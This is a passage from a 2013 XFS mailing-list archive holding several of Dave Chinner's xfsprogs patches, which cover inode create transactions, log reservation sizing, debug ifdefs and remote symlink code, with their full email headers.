- { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ - { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ - { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ - { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ - { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ - { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ - { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ - { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ - { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ - { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ - { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ - { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ - { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ - { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ - { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ - { XFS_TRANS_DUMMY1, "DUMMY1" }, \ - { XFS_TRANS_DUMMY2, "DUMMY2" }, \ - { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } - -/* * This structure is used to track log items associated with * a transaction. It points to the log item and keeps some * flags to track the state of the log item. It also tracks @@ -172,7 +35,6 @@ struct xfs_log_item_desc { #define XFS_LID_DIRTY 0x1 -#define XFS_TRANS_MAGIC 0x5452414E /* 'TRAN' */ /* * Values for t_flags. */ @@ -209,7 +71,6 @@ struct xfs_log_item_desc { #define XFS_TRANS_SB_REXTENTS 0x00001000 #define XFS_TRANS_SB_REXTSLOG 0x00002000 - /* * Per-extent log reservation for the allocation btree changes * involved in freeing or allocating an extent. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 663C38024 for ; Fri, 19 Jul 2013 01:45:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CCE57AC001 for ; Thu, 18 Jul 2013 23:45:37 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id OasYQfYRuUPdW3X8 for ; Thu, 18 Jul 2013 23:45:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004I5-K9 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002JC-Iv for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/49] xfsprogs: port inode create transaction changes Date: Fri, 19 Jul 2013 16:44:37 +1000 X-ASG-Orig-Subj: [PATCH 02/49] xfsprogs: port inode create transaction changes Message-Id: <1374216324-8781-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216334 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Bring across the relevant parts of the new inode create transaction sufficient to keep kernel/user code in sync and implement the infrastructure needed to make it work in xfsprogs. Signed-off-by: Dave Chinner --- include/libxfs.h | 1 + include/xfs_ialloc.h | 8 +++ include/xfs_icreate_item.h | 3 ++ libxfs/xfs.h | 5 ++ libxfs/xfs_ialloc.c | 87 +++++++++++++++++++++++++-------- libxfs/xfs_trans.c | 118 +++++++++++++++++++++++++++++---------------- 6 files changed, 160 insertions(+), 62 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index f11ad52..bd74ca5 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -57,6 +57,7 @@ #include #include #include +#include #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) diff --git a/include/xfs_ialloc.h b/include/xfs_ialloc.h index c8da3df..68c0732 100644 --- a/include/xfs_ialloc.h +++ b/include/xfs_ialloc.h @@ -150,6 +150,14 @@ int xfs_inobt_lookup(struct xfs_btree_cur *cur, xfs_agino_t ino, int xfs_inobt_get_rec(struct xfs_btree_cur *cur, xfs_inobt_rec_incore_t *rec, int *stat); +/* + * Inode chunk initialisation routine + */ +int xfs_ialloc_inode_init(struct xfs_mount *mp, struct xfs_trans *tp, + struct list_head *buffer_list, + xfs_agnumber_t agno, xfs_agblock_t agbno, + xfs_agblock_t length, unsigned int gen); + extern const struct xfs_buf_ops xfs_agi_buf_ops; #endif /* __XFS_IALLOC_H__ */ diff --git a/include/xfs_icreate_item.h b/include/xfs_icreate_item.h index 88ba8aa..70dc03c 100644 --- a/include/xfs_icreate_item.h +++ b/include/xfs_icreate_item.h @@ -36,6 +36,8 @@ struct xfs_icreate_log { __be32 icl_gen; /* inode generation number to use */ }; +#ifdef __KERNEL__ + /* in memory log item structure */ struct xfs_icreate_item { struct xfs_log_item ic_item; @@ -48,5 +50,6 @@ void xfs_icreate_log(struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t agbno, unsigned int count, unsigned int inode_size, xfs_agblock_t length, unsigned int generation); +#endif /* __KERNEL__ */ #endif /* XFS_ICREATE_ITEM_H */ diff --git a/libxfs/xfs.h b/libxfs/xfs.h index aa71ecc..15e82d7 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -176,6 +176,7 @@ roundup_pow_of_two(uint v) #define XBF_TRYLOCK XFS_BUF_TRYLOCK #define XBF_DONT_BLOCK 0 #define XBF_UNMAPPED 0 +#define XBF_DONE 0 #define XFS_BUF_GETERROR(bp) 0 #define XFS_BUF_DONE(bp) ((bp)->b_flags |= LIBXFS_B_UPTODATE) #define XFS_BUF_ISDONE(bp) ((bp)->b_flags & LIBXFS_B_UPTODATE) @@ -194,6 +195,7 @@ roundup_pow_of_two(uint v) #define xfs_buf_relse(bp) libxfs_putbuf(bp) #define xfs_buf_get(devp,blkno,len,f) (libxfs_getbuf((devp), (blkno), (len))) #define xfs_bwrite(bp) libxfs_writebuf((bp), 0) +#define xfs_buf_delwri_queue(bp, bl) libxfs_writebuf((bp), 0) #define XBRW_READ LIBXFS_BREAD #define XBRW_WRITE LIBXFS_BWRITE @@ -252,6 +254,7 @@ roundup_pow_of_two(uint v) #define xfs_trans_get_block_res(tp) 1 #define xfs_trans_set_sync(tp) ((void) 0) +#define xfs_trans_ordered_buf(tp, bp) ((void) 0) #define xfs_trans_agblocks_delta(tp, d) #define xfs_trans_agflist_delta(tp, d) #define xfs_trans_agbtree_delta(tp, d) @@ -325,6 +328,8 @@ do { \ #define uuid_copy(s,d) platform_uuid_copy((s),(d)) #define uuid_equal(s,d) (platform_uuid_compare((s),(d)) == 0) +#define xfs_icreate_log(tp, agno, agbno, cnt, isize, len, gen) ((void) 0) + /* * Prototypes for kernel static functions that are aren't in their * associated header files diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 76fdcea..48916dd 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -129,12 +129,16 @@ xfs_check_agi_freecount( #endif /* - * Initialise a new set of inodes. + * Initialise a new set of inodes. When called without a transaction context + * (e.g. from recovery) we initiate a delayed write of the inode buffers rather + * than logging them (which in a transaction context puts them into the AIL + * for writeback rather than the xfsbufd queue). */ -STATIC int +int xfs_ialloc_inode_init( struct xfs_mount *mp, struct xfs_trans *tp, + struct list_head *buffer_list, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_agblock_t length, @@ -165,22 +169,40 @@ xfs_ialloc_inode_init( } /* - * Figure out what version number to use in the inodes we create. - * If the superblock version has caught up to the one that supports - * the new inode format, then use the new inode version. Otherwise - * use the old version so that old kernels will continue to be - * able to use the file system. + * Figure out what version number to use in the inodes we create. If + * the superblock version has caught up to the one that supports the new + * inode format, then use the new inode version. Otherwise use the old + * version so that old kernels will continue to be able to use the file + * system. * * For v3 inodes, we also need to write the inode number into the inode, * so calculate the first inode number of the chunk here as - * XFS_OFFBNO_TO_AGINO() only works on filesystem block boundaries, not - * cluster boundaries and so cannot be used in the cluster buffer loop - * below. + * XFS_OFFBNO_TO_AGINO() only works within a filesystem block, not + * across multiple filesystem blocks (such as a cluster) and so cannot + * be used in the cluster buffer loop below. + * + * Further, because we are writing the inode directly into the buffer + * and calculating a CRC on the entire inode, we have ot log the entire + * inode so that the entire range the CRC covers is present in the log. + * That means for v3 inode we log the entire buffer rather than just the + * inode cores. */ if (xfs_sb_version_hascrc(&mp->m_sb)) { version = 3; ino = XFS_AGINO_TO_INO(mp, agno, XFS_OFFBNO_TO_AGINO(mp, agbno, 0)); + + /* + * log the initialisation that is about to take place as an + * logical operation. This means the transaction does not + * need to log the physical changes to the inode buffers as log + * recovery will know what initialisation is actually needed. + * Hence we only need to log the buffers as "ordered" buffers so + * they track in the AIL as if they were physically logged. + */ + if (tp) + xfs_icreate_log(tp, agno, agbno, XFS_IALLOC_INODES(mp), + mp->m_sb.sb_inodesize, length, gen); } else if (xfs_sb_version_hasnlink(&mp->m_sb)) version = 2; else @@ -196,15 +218,10 @@ xfs_ialloc_inode_init( XBF_UNMAPPED); if (!fbuf) return ENOMEM; - /* - * Initialize all inodes in this buffer and then log them. - * - * XXX: It would be much better if we had just one transaction - * to log a whole cluster of inodes instead of all the - * individual transactions causing a lot of log traffic. - */ + + /* Initialize the inode buffers and log them appropriately. */ fbuf->b_ops = &xfs_inode_buf_ops; - xfs_buf_zero(fbuf, 0, ninodes << mp->m_sb.sb_inodelog); + xfs_buf_zero(fbuf, 0, BBTOB(fbuf->b_length)); for (i = 0; i < ninodes; i++) { int ioffset = i << mp->m_sb.sb_inodelog; uint isize = xfs_dinode_size(version); @@ -220,11 +237,39 @@ xfs_ialloc_inode_init( ino++; uuid_copy(&free->di_uuid, &mp->m_sb.sb_uuid); xfs_dinode_calc_crc(mp, free); + } else if (tp) { + /* just log the inode core */ + xfs_trans_log_buf(tp, fbuf, ioffset, + ioffset + isize - 1); } + } - xfs_trans_log_buf(tp, fbuf, ioffset, ioffset + isize - 1); + if (tp) { + /* + * Mark the buffer as an inode allocation buffer so it + * sticks in AIL at the point of this allocation + * transaction. This ensures the they are on disk before + * the tail of the log can be moved past this + * transaction (i.e. by preventing relogging from moving + * it forward in the log). + */ + xfs_trans_inode_alloc_buf(tp, fbuf); + if (version == 3) { + /* + * Mark the buffer as ordered so that they are + * not physically logged in the transaction but + * still tracked in the AIL as part of the + * transaction and pin the log appropriately. + */ + xfs_trans_ordered_buf(tp, fbuf); + xfs_trans_log_buf(tp, fbuf, 0, + BBTOB(fbuf->b_length) - 1); + } + } else { + fbuf->b_flags |= XBF_DONE; + xfs_buf_delwri_queue(fbuf, buffer_list); + xfs_buf_relse(fbuf); } - xfs_trans_inode_alloc_buf(tp, fbuf); } return 0; } @@ -372,7 +417,7 @@ xfs_ialloc_ag_alloc( * rather than a linear progression to prevent the next generation * number from being easily guessable. */ - error = xfs_ialloc_inode_init(args.mp, tp, agno, args.agbno, + error = xfs_ialloc_inode_init(args.mp, tp, NULL, agno, args.agbno, args.len, prandom_u32()); if (error) diff --git a/libxfs/xfs_trans.c b/libxfs/xfs_trans.c index bdd0ebc..95fb630 100644 --- a/libxfs/xfs_trans.c +++ b/libxfs/xfs_trans.c @@ -208,71 +208,93 @@ xfs_calc_remove_reservation( } /* - * For symlink we can modify: + * For create, break it in to the two cases that the transaction + * covers. We start with the modify case - allocation done by modification + * of the state of existing inodes - and the allocation case. + */ + +/* + * For create we can modify: * the parent directory inode: inode size * the new inode: inode size - * the inode btree entry: 1 block + * the inode btree entry: block size + * the superblock for the nlink flag: sector size * the directory btree: (max depth + v2) * dir block size * the directory inode's bmap btree: (max depth + v2) * block size - * the blocks for the symlink: 1 kB - * Or in the first xact we allocate some inodes giving: + */ +STATIC uint +xfs_calc_create_resv_modify( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + (uint)XFS_FSB_TO_B(mp, 1) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); +} + +/* + * For create we can allocate some inodes giving: * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (2 * max depth - 1) * block size + * the allocation btrees: 2 trees * (max depth - 1) * block size */ STATIC uint -xfs_calc_symlink_reservation( +xfs_calc_create_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +__xfs_calc_create_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(1, 1024)), - (xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(mp->m_in_maxlevels, - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)))); + MAX(xfs_calc_create_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); } /* - * For create we can modify: - * the parent directory inode: inode size - * the new inode: inode size - * the inode btree entry: block size - * the superblock for the nlink flag: sector size - * the directory btree: (max depth + v2) * dir block size - * the directory inode's bmap btree: (max depth + v2) * block size - * Or in the first xact we allocate some inodes giving: + * For icreate we can allocate some inodes giving: * the agi and agf of the ag getting the new inodes: 2 * sectorsize * the superblock for the nlink flag: sector size - * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size */ STATIC uint -xfs_calc_create_reservation( +xfs_calc_icreate_resv_alloc( struct xfs_mount *mp) { + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +xfs_calc_icreate_reservation(xfs_mount_t *mp) +{ return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - XFS_FSB_TO_B(mp, 1) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(mp->m_in_maxlevels, - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)))); + MAX(xfs_calc_icreate_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +STATIC uint +xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return xfs_calc_icreate_reservation(mp); + return __xfs_calc_create_reservation(mp); + } /* @@ -285,6 +307,20 @@ xfs_calc_mkdir_reservation( return xfs_calc_create_reservation(mp); } + +/* + * Making a new symplink is the same as creating a new file, but + * with the added blocks for remote symlink data which can be up to 1kB in + * length (MAXPATHLEN). + */ +STATIC uint +xfs_calc_symlink_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp) + + xfs_calc_buf_res(1, MAXPATHLEN); +} + /* * In freeing an inode we can modify: * the inode being freed: inode size -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 195B5801A for ; Fri, 19 Jul 2013 01:45:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E36CC30404E for ; Thu, 18 Jul 2013 23:45:38 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 5j6V3tqi5wfasyK8 for ; Thu, 18 Jul 2013 23:45:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45ygTqDZgOUBo15hyuDJCqBLiQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JM-At for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002M1-9Z for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 37/49] xfs: remove __KERNEL__ from debug code Date: Fri, 19 Jul 2013 16:45:12 +1000 X-ASG-Orig-Subj: [PATCH 37/49] xfs: remove __KERNEL__ from debug code Message-Id: <1374216324-8781-38-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216337 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is no reason the remaining kernel-only debug code needs to remain kernel-only. Kill the __KERNEL__ part of the defines, and let userspace handle the debug code appropriately. Signed-off-by: Dave Chinner --- include/xfs_bmap.h | 2 +- libxfs/xfs_dir2_data.c | 4 ++-- libxfs/xfs_rtalloc.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/include/xfs_bmap.h b/include/xfs_bmap.h index 8b2fe97..33b41f3 100644 --- a/include/xfs_bmap.h +++ b/include/xfs_bmap.h @@ -127,7 +127,7 @@ static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) { BMAP_RIGHT_FILLING, "RF" }, \ { BMAP_ATTRFORK, "ATTR" } -#if defined(__KERNEL) && defined(DEBUG) +#ifdef DEBUG void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int whichfork, unsigned long caller_ip); #define XFS_BMAP_TRACE_EXLIST(ip,c,w) \ diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 064ddb2..5074878 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -315,7 +315,7 @@ xfs_dir2_data_freefind( xfs_dir2_data_free_t *dfp; /* bestfree entry */ xfs_dir2_data_aoff_t off; /* offset value needed */ struct xfs_dir2_data_free *bf; -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG int matched; /* matched the value */ int seenzero; /* saw a 0 bestfree entry */ #endif @@ -323,7 +323,7 @@ xfs_dir2_data_freefind( off = (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr); bf = xfs_dir3_data_bestfree_p(hdr); -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG /* * Validate some consistency in the bestfree table. * Check order, non-overlapping entries, and if we find the diff --git a/libxfs/xfs_rtalloc.c b/libxfs/xfs_rtalloc.c index 9797db7..f5a90b2 100644 --- a/libxfs/xfs_rtalloc.c +++ b/libxfs/xfs_rtalloc.c @@ -735,7 +735,7 @@ xfs_rtfree_extent( ASSERT(mp->m_rbmip->i_itemp != NULL); ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); -#if defined(__KERNEL__) && defined(DEBUG) +#ifdef DEBUG /* * Check to see that this whole range is currently allocated. */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CA86F8027 for ; Fri, 19 Jul 2013 01:45:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3CD80AC010 for ; Thu, 18 Jul 2013 23:45:38 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id laONQsSlRsyDvrdt for ; Thu, 18 Jul 2013 23:45:35 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGBgZOQMbGYgPtiOOQjCBLoNyA6kqgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004J7-6a for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002LS-53 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 30/49] xfs: split out the remote symlink handling Date: Fri, 19 Jul 2013 16:45:05 +1000 X-ASG-Orig-Subj: [PATCH 30/49] xfs: split out the remote symlink handling Message-Id: <1374216324-8781-31-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216335 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The remote symlink format definition and manipulation needs to be shared with userspace, but the in-kernel interfaces do not. Split the remote symlink format handling out into xfs_symlink_remote.[ch] fo it can easily be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 1 - include/libxfs.h | 1 - include/xfs_format.h | 42 ++++++++++ include/xfs_symlink.h | 47 ----------- libxfs/Makefile | 2 +- libxfs/xfs_symlink.c | 176 ----------------------------------------- libxfs/xfs_symlink_remote.c | 185 ++++++++++++++++++++++++++++++++++++++++++++ 7 files changed, 228 insertions(+), 226 deletions(-) delete mode 100644 include/xfs_symlink.h delete mode 100644 libxfs/xfs_symlink.c create mode 100644 libxfs/xfs_symlink_remote.c diff --git a/include/Makefile b/include/Makefile index 2b121e5..70720e5 100644 --- a/include/Makefile +++ b/include/Makefile @@ -39,7 +39,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_mount.h \ xfs_quota_defs.h \ xfs_sb.h \ - xfs_symlink.h \ xfs_trace.h \ xfs_trans.h \ xfs_trans_resv.h \ diff --git a/include/libxfs.h b/include/libxfs.h index f84b816..37e9e15 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -61,7 +61,6 @@ #include #include #include -#include #ifndef ARRAY_SIZE diff --git a/include/xfs_format.h b/include/xfs_format.h index 6205374..35c08ff 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -27,6 +27,12 @@ * xfs_log_format.h. Everything else goes here. */ +struct xfs_mount; +struct xfs_trans; +struct xfs_inode; +struct xfs_buf; +struct xfs_ifork; + /* * RealTime Device format definitions */ @@ -123,5 +129,41 @@ typedef struct xfs_dqblk { #define XFS_DQUOT_CRC_OFF offsetof(struct xfs_dqblk, dd_crc) +/* + * Remote symlink format and access functions. + */ +#define XFS_SYMLINK_MAGIC 0x58534c4d /* XSLM */ + +struct xfs_dsymlink_hdr { + __be32 sl_magic; + __be32 sl_offset; + __be32 sl_bytes; + __be32 sl_crc; + uuid_t sl_uuid; + __be64 sl_owner; + __be64 sl_blkno; + __be64 sl_lsn; +}; + +/* + * The maximum pathlen is 1024 bytes. Since the minimum file system + * blocksize is 512 bytes, we can get a max of 3 extents back from + * bmapi when crc headers are taken into account. + */ +#define XFS_SYMLINK_MAPS 3 + +#define XFS_SYMLINK_BUF_SPACE(mp, bufsize) \ + ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ + sizeof(struct xfs_dsymlink_hdr) : 0)) + +int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); +int xfs_symlink_hdr_set(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_inode *ip, struct xfs_ifork *ifp); + +extern const struct xfs_buf_ops xfs_symlink_buf_ops; #endif /* __XFS_FORMAT_H__ */ diff --git a/include/xfs_symlink.h b/include/xfs_symlink.h deleted file mode 